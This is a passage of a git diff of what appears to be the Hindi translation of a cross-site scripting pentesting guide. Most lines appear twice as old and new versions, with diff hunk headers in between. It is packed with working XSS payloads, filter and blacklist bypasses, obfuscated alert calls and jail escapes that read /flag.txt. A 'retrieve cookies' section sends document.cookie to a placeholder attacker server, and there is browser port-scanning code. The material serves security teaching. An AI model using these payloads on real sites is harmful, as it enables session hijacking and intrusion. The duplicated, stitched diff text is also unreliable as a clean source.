* यदि टेम्पलेट लिटेरल के अंदर परिलक्षित होता है, तो आप `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` ``
* **Unicode एन्कोड** **मान्य javascript कोड** लिखने के लिए काम करता है:
* **Unicode एन्कोड** **मान्य जावास्क्रिप्ट कोड** लिखने के लिए काम करता है:
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -98,7 +98,7 @@ Javascript Hoisting उस अवसर को संदर्भित कर
### Javascript Function
कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्य को निष्पादित करने के लिए पैरामीटर के रूप में कार्य का नाम स्वीकार करते हैं।** एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`.
कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्य को निष्पादित करने के लिए फ़ंक्शन के नाम को पैरामीटर के रूप में स्वीकार करते हैं।** एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`.
यह पता लगाने का एक अच्छा तरीका है कि क्या उपयोगकर्ता द्वारा सीधे दिया गया कुछ निष्पादित करने की कोशिश कर रहा है, **पैरामीटर मान को संशोधित करना** (उदाहरण के लिए 'Vulnerable' में) और कंसोल में त्रुटियों की तलाश करना जैसे:
@ -122,7 +122,7 @@ parentElement
हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा ताकि अधिक क्रियाएँ की जा सकें।
इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया था:
इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया:
{% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
@ -242,23 +242,23 @@ onerror=alert`1`
<script src=//℡㏛.pw>
```
The last one is using 2 unicode characters which expands to 5: telsr\
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
इनमें से अधिक वर्ण [यहाँ](https://www.unicode.org/charts/normalization/) पाए जा सकते हैं।\
यह जांचने के लिए कि कौन से वर्ण विघटित होते हैं, [यहाँ](https://www.compart.com/en/unicode/U+2121) देखें।
### Click XSS - Clickjacking
यदि इस कमजोरी का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या एक फॉर्म** पर क्लिक करने की आवश्यकता है जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ कमजोर है)।
यदि भेद्यता का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या एक फॉर्म** पर क्लिक करने की आवश्यकता है जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ भेद्य है)।
### Impossible - Dangling Markup
यदि आप केवल यह सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) की जांच करनी चाहिए क्योंकि आप **बिना** **JS** कोड निष्पादित किए इस कमजोरी का **लाभ उठा सकते हैं**
यदि आप केवल यह सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) की जांच करनी चाहिए क्योंकि आप **भेद्यता का लाभ उठा सकते हैं** **बिना** **JS** कोड निष्पादित किए।
## Injecting inside HTML tag
### Inside the tag/escaping from attribute value
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है टैग से **escape** करना और [पिछले अनुभाग](./#injecting-inside-raw-html) में उल्लिखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\
यदि आप **टैग से escape नहीं कर सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ payload का उपयोग करके (_ध्यान दें कि इस उदाहरण में विशेषता से escape करने के लिए डबल उद्धरण का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_):
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है **टैग से बाहर निकलना** और [पिछले अनुभाग](./#injecting-inside-raw-html) में उल्लिखित कुछ तकनीकों का उपयोग करना ताकि JS कोड निष्पादित किया जा सके।\
यदि आप **टैग से बाहर नहीं निकल सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके जैसे (_ध्यान दें कि इस उदाहरण में विशेषता से बाहर निकलने के लिए डबल उद्धरण चिह्नों का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -275,12 +275,12 @@ To check in which characters are decomposed check [here](https://www.compart.com
```
### Within the attribute
यहां तक कि अगर आप **attribute से भाग नहीं सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **कौन सा attribute** आपके मान में परिलक्षित हो रहा है **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
यहां तक कि अगर आप **attribute से भाग नहीं सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **आपका मान किस attribute में परिलक्षित हो रहा है** **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
एक और दिलचस्प **उदाहरण** है attribute `href`, जहां आप `javascript:` प्रोटोकॉल का उपयोग करके मनमाना कोड निष्पादित कर सकते हैं: **`href="javascript:alert(1)"`**
**HTML एन्कोडिंग/URL एन्कोड का उपयोग करके इवेंट के अंदर बायपास करें**
HTML टैग के attributes के मान के अंदर **HTML एन्कोडेड कैरेक्टर्स** **रनटाइम पर डिकोड** होते हैं। इसलिए कुछ इस तरह का मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
HTML टैग के attributes के मान के अंदर **HTML एन्कोडेड कैरेक्टर्स** **रनटाइम पर डिकोड** होते हैं। इसलिए निम्नलिखित कुछ इस तरह मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
ध्यान दें कि **किसी भी प्रकार की HTML एन्कोड मान्य है**:
```javascript
@ -311,7 +311,7 @@ HTML टैग के attributes के मान के अंदर **HTML ए
```
### विशेष प्रोटोकॉल विशेषता के भीतर
यहां आप कुछ स्थानों पर **`javascript:`** या **`data:`** प्रोटोकॉल का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित** करने के लिए। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं।
यहां आप कुछ स्थानों पर **`javascript:`** या **`data:`** प्रोटोकॉल का उपयोग कर सकते हैं **मनमाने JS कोड को निष्पादित करने के लिए**। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं।
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**इन स्थानों पर आप इन प्रोटोकॉल को इंजेक्ट कर सकते हैं**
**सामान्यतः** `javascript:` प्रोटोकॉल को **किसी भी टैग में उपयोग किया जा सकता है जो `href` विशेषता को स्वीकार करता है** और **अधिकतर** टैग में जो **`src` विशेषता को स्वीकार करते हैं** (लेकिन `<img>` में नहीं)
**सामान्यतः** `javascript:` प्रोटोकॉल को **किसी भी टैग में उपयोग किया जा सकता है जो `href` विशेषता को स्वीकार करता है** और **अधिकतर** टैग में जो **`src` विशेषता को स्वीकार करते हैं** (लेकिन `<img>` नहीं)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -353,9 +353,9 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
```
**अन्य ओबस्केशन ट्रिक्स**
**अन्य ओबफस्केशन ट्रिक्स**
_**इस मामले में, पिछले अनुभाग से HTML एन्कोडिंग और यूनिकोड एन्कोडिंग ट्रिक भी मान्य है क्योंकि आप एक विशेषता के अंदर हैं।**_
_**इस मामले में, पिछले अनुभाग से HTML एन्कोडिंग और यूनिकोड एन्कोडिंग ट्रिक भी मान्य है क्योंकि आप एक एट्रिब्यूट के अंदर हैं।**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
@ -369,7 +369,7 @@ _**इस मामले में, पिछले अनुभाग से H
**`javascript:` के साथ Hex और Octal एन्कोड का उपयोग करना**
आप **Hex** और **Octal एन्कोड** का उपयोग `iframe` के `src` विशेषता के अंदर (कम से कम) **JS निष्पादित करने के लिए HTML टैग घोषित करने** के लिए कर सकते हैं:
आप **Hex** और **Octal एन्कोड** का उपयोग `iframe` के `src` विशेषता के अंदर (कम से कम) **JS को निष्पादित करने के लिए HTML टैग घोषित करने** के लिए कर सकते हैं:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -385,7 +385,7 @@ _**इस मामले में, पिछले अनुभाग से H
```javascript
<a target="_blank" rel="opener"
```
यदि आप किसी भी URL को मनमाने **`<a href=`** टैग में इंजेक्ट कर सकते हैं जिसमें **`target="_blank" और rel="opener"`** विशेषताएँ हैं, तो इस **व्यवहार का लाभ उठाने के लिए निम्नलिखित पृष्ठ की जांच करें**:
यदि आप किसी भी URL को मनमाने **`<a href=`** टैग में इंजेक्ट कर सकते हैं जिसमें **`target="_blank" और rel="opener"`** विशेषताएँ हैं, तो इस व्यवहार का लाभ उठाने के लिए **निम्नलिखित पृष्ठ की जांच करें**:
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
@ -394,7 +394,7 @@ _**इस मामले में, पिछले अनुभाग से H
### इवेंट हैंडलर्स बायपास पर
सबसे पहले इस पृष्ठ की जांच करें ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) उपयोगी **"on" इवेंट हैंडलर्स** के लिए।\
यदि कोई ब्लैकलिस्ट है जो आपको इन इवेंट हैंडलर्स को बनाने से रोक रही है, तो आप निम्नलिखित बायपास का प्रयास कर सकते हैं:
यदि कोई ब्लैकलिस्ट है जो आपको इन इवेंट हैंडलर्स को बनाने से रोक रही है, तो आप निम्नलिखित बायपास आजमा सकते हैं:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -416,7 +416,7 @@ From [**यहाँ**](https://portswigger.net/research/exploiting-xss-in-hidde
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
```
और **meta tags** में:
और **मेटा टैग्स** में:
```html
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
@ -432,7 +432,7 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
### ब्लैकलिस्ट बायपास
इस अनुभाग में विभिन्न एन्कोडिंग का उपयोग करने के कई ट्रिक्स पहले ही उजागर किए जा चुके हैं। **वापस जाएं और सीखें कि आप कहां उपयोग कर सकते हैं:**
इस अनुभाग में विभिन्न एन्कोडिंग का उपयोग करने के कई ट्रिक्स पहले ही उजागर किए गए हैं। **वापस जाएं और सीखें कि आप कहां उपयोग कर सकते हैं:**
* **HTML एन्कोडिंग (HTML टैग)**
* **यूनिकोड एन्कोडिंग (मान्य JS कोड हो सकता है):** `\u0061lert(1)`
@ -450,7 +450,7 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
### CSS-गैजेट्स
यदि आपने वेब के एक **बहुत छोटे हिस्से** में **XSS** पाया है जो किसी प्रकार की इंटरैक्शन की आवश्यकता है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा किए गए स्थान को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
यदि आपने वेब के एक **बहुत छोटे हिस्से** में **XSS** पाया है जो किसी प्रकार की इंटरैक्शन की आवश्यकता है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप **उस तत्व द्वारा कब्जा की गई जगह को संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
उदाहरण के लिए, आप तत्व में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -466,15 +466,15 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
> \<a href="" id=someid class=test onclick=alert() a="">
यह ट्रिक [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) से ली गई थी
यह ट्रिक [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) से ली गई थी
## जावास्क्रिप्ट कोड के अंदर इंजेक्ट करना
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने जा रहा है।
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट्स के बीच जो JS कोड निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, में **प्रतिबिंबित** होने जा रहा है।
### \<script> टैग को एस्केप करना
यदि आपका कोड `<script> [...] var input = 'reflected data' [...] </script>` के भीतर डाला गया है, तो आप आसानी से `<script>` टैग को **बंद करके एस्केप** कर सकते हैं:
यदि आपका कोड `<script> [...] var input = 'reflected data' [...] </script>` के भीतर डाला गया है, तो आप आसानी से **`<script>`** टैग को बंद करके **एस्केप** कर सकते हैं:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -490,7 +490,7 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
```
### Template literals \`\`
**स्ट्रिंग्स** को एकल और दोहरे उद्धरणों के अलावा बनाने के लिए, JS भी **बैकटिक्स** **` `` `** को स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
**स्ट्रिंग्स** को एकल और दोहरे उद्धरणों के अलावा बनाने के लिए, JS **बैकटिक्स** **` `` `** को भी स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **प्रतिबिंबित** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
इसका **दुरुपयोग** किया जा सकता है:
@ -673,7 +673,7 @@ try{throw onerror=alert}catch{throw 1}
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**मनमाने फ़ंक्शन (alert) कॉल**
**मनमाने फ़ंक्शन (अलर्ट) कॉल**
````javascript
//Eval like functions
eval('ale'+'rt(1)')
@ -763,7 +763,7 @@ top[8680439..toString(30)](1)
### सत्र मिररिंग
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए, ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं, उसे देखेगा लेकिन अपने सत्र से।
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए, ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक को आपकी मदद करने के लिए, वह आपके सत्र में जो देख रहा है, वही देखेगा लेकिन अपने सत्र से।
आप **व्यवस्थापक को आपके self XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं।
@ -829,7 +829,7 @@ document['default'+'View'][`\u0061lert`](3)
### केवल अक्षर, संख्या और बिंदु
यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **execute** करने जा रहा है, उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](./#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे किया जाए।
यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **निष्पादित** करने जा रहा है, उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](./#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे किया जाए।
### XSS के लिए मान्य `<script>` Content-Types
@ -865,7 +865,7 @@ const char* const kSupportedJavascriptTypes[] = {
```html
<script type="???"></script>
```
उत्तर है:
The answer is:
* **module** (डिफ़ॉल्ट, समझाने के लिए कुछ नहीं)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक विशेषता है जिससे आप डेटा (HTML, CSS, JS…) को एक साथ **`.wbn`** फ़ाइल में पैकेज कर सकते हैं।
@ -923,14 +923,14 @@ import { partition } from "lodash";
* text/xml
* image/svg+xml
* text/plain (?? सूची में नहीं लेकिन मुझे लगता है कि मैंने इसे एक CTF में देखा)
* application/rss+xml (off)
* application/atom+xml (off)
* application/rss+xml (बंद)
* application/atom+xml (बंद)
अन्य ब्राउज़रों में अन्य **`Content-Types`** का उपयोग मनमाना JS निष्पादित करने के लिए किया जा सकता है, जांचें: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
यदि पृष्ठ एक text/xml सामग्री प्रकार वापस कर रहा है, तो एक namespace को इंगित करना और मनमाना JS निष्पादित करना संभव है:
यदि पृष्ठ एक text/xml सामग्री प्रकार लौटाता है तो यह एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -950,7 +950,7 @@ import { partition } from "lodash";
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
{% endcontent-ref %}
### XS जेल से Escape
### XS जेल से भागना
यदि आपके पास उपयोग करने के लिए केवल सीमित सेट के अक्षर हैं, तो XSJail समस्याओं के लिए इन अन्य वैध समाधानों की जांच करें:
```javascript
@ -998,7 +998,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
// our actual module code
});
```
इसलिए, यदि उस मॉड्यूल से हम **दूसरी फ़ंक्शन को कॉल कर सकते हैं**, तो उस फ़ंक्शन से **`require`** तक पहुँचने के लिए `arguments.callee.caller.arguments[1]` का उपयोग करना संभव है:
इसलिए, यदि उस मॉड्यूल से हम **दूसरी फ़ंक्शन को कॉल कर सकते हैं**, तो उस फ़ंक्शन से **`require`** तक पहुँचने के लिए `arguments.callee.caller.arguments[1]` का उपयोग करना संभव है:
{% code overflow="wrap" %}
```javascript
@ -1006,7 +1006,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
{% endcode %}
पिछले उदाहरण की तरह, **त्रुटि हैंडलर** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुंचना और **`require`** फ़ंक्शन प्राप्त करना संभव है:
पिछले उदाहरण के समान, **त्रुटि हैंडलर** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुँच प्राप्त करना और **`require`** फ़ंक्शन प्राप्त करना संभव है:
```javascript
try {
null.f()
@ -1045,7 +1045,7 @@ trigger()
```
### Obfuscation & Advanced Bypass
* **एक पृष्ठ में विभिन्न ओबफस्केशन्स:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* **एक पृष्ठ में विभिन्न ओबफस्केशन:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
@ -1094,7 +1094,7 @@ trigger()
[iframe-traps.md](../iframe-traps.md)
{% endcontent-ref %}
### कुकीज़ पुनः प्राप्त करें
### कुकीज़ प्राप्त करें
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1198,7 +1198,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_छोटे समय एक प्रतिक्रिया देने वाले पोर्ट को इंगित करते हैं_ _लंबे समय कोई प्रतिक्रिया नहीं होने को इंगित करते हैं।_
_छोटे समय प्रतिक्रिया देने वाले पोर्ट को इंगित करते हैं_ _लंबे समय कोई प्रतिक्रिया नहीं होने को इंगित करते हैं।_
Chrome में प्रतिबंधित पोर्ट की सूची की समीक्षा करें [**यहाँ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) और Firefox में [**यहाँ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)।
@ -1334,7 +1334,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### Markdown में XSS
क्या आप ऐसा Markdown कोड इंजेक्ट कर सकते हैं जो रेंडर होगा? शायद आप XSS प्राप्त कर सकते हैं! जांचें:
क्या आप Markdown कोड इंजेक्ट कर सकते हैं जो रेंडर होगा? शायद आप XSS प्राप्त कर सकते हैं! जांचें:
{% content-ref url="xss-in-markdown.md" %}
[xss-in-markdown.md](xss-in-markdown.md)
@ -1346,12 +1346,12 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
```python
<esi:include src="http://yoursite.com/capture" />
```
इसे कुकी प्रतिबंधों, XSS फ़िल्टर और बहुत कुछ को बायपास करने के लिए उपयोग करें!\
इसे कुकी प्रतिबंधों, XSS फ़िल्टरों और बहुत कुछ को बायपास करने के लिए उपयोग करें!\
इस तकनीक के बारे में अधिक जानकारी यहाँ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### गतिशील रूप से बनाए गए PDF में XSS
यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाना JS कोड निष्पादित** कर सके।\
यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाने JS कोड को निष्पादित** करे।\
तो, यदि **PDF निर्माता बॉट** कुछ प्रकार के **HTML** **टैग** पाता है, तो यह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** करके **सर्वर XSS** का कारण बन सकते हैं।
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -1368,7 +1368,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर दिया जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP घटकों](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं।
[**ईमेल के लिए AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) प्रारूप विशिष्ट AMP घटकों को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ता अपने ईमेल के भीतर सीधे सामग्री के साथ इंटरैक्ट कर सकते हैं।
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) प्रारूप विशेष AMP घटकों को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ता अपने ईमेल के भीतर सीधे सामग्री के साथ इंटरैक्ट कर सकते हैं।
उदाहरण [**Gmail में Amp4Email में XSS का लेख**](https://adico.me/post/xss-in-gmail-s-amp4email).
@ -1430,7 +1430,7 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Find **और SVG payloads यहाँ** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Misc JS Tricks & Relevant Info
@ -1438,7 +1438,7 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
[other-js-tricks.md](other-js-tricks.md)
{% endcontent-ref %}
## XSS resources
## XSS संसाधन
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
@ -1446,9 +1446,9 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
If you are interested in **हैकिंग करियर** and hack the unhackable - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -2,7 +2,7 @@
## Pretraining
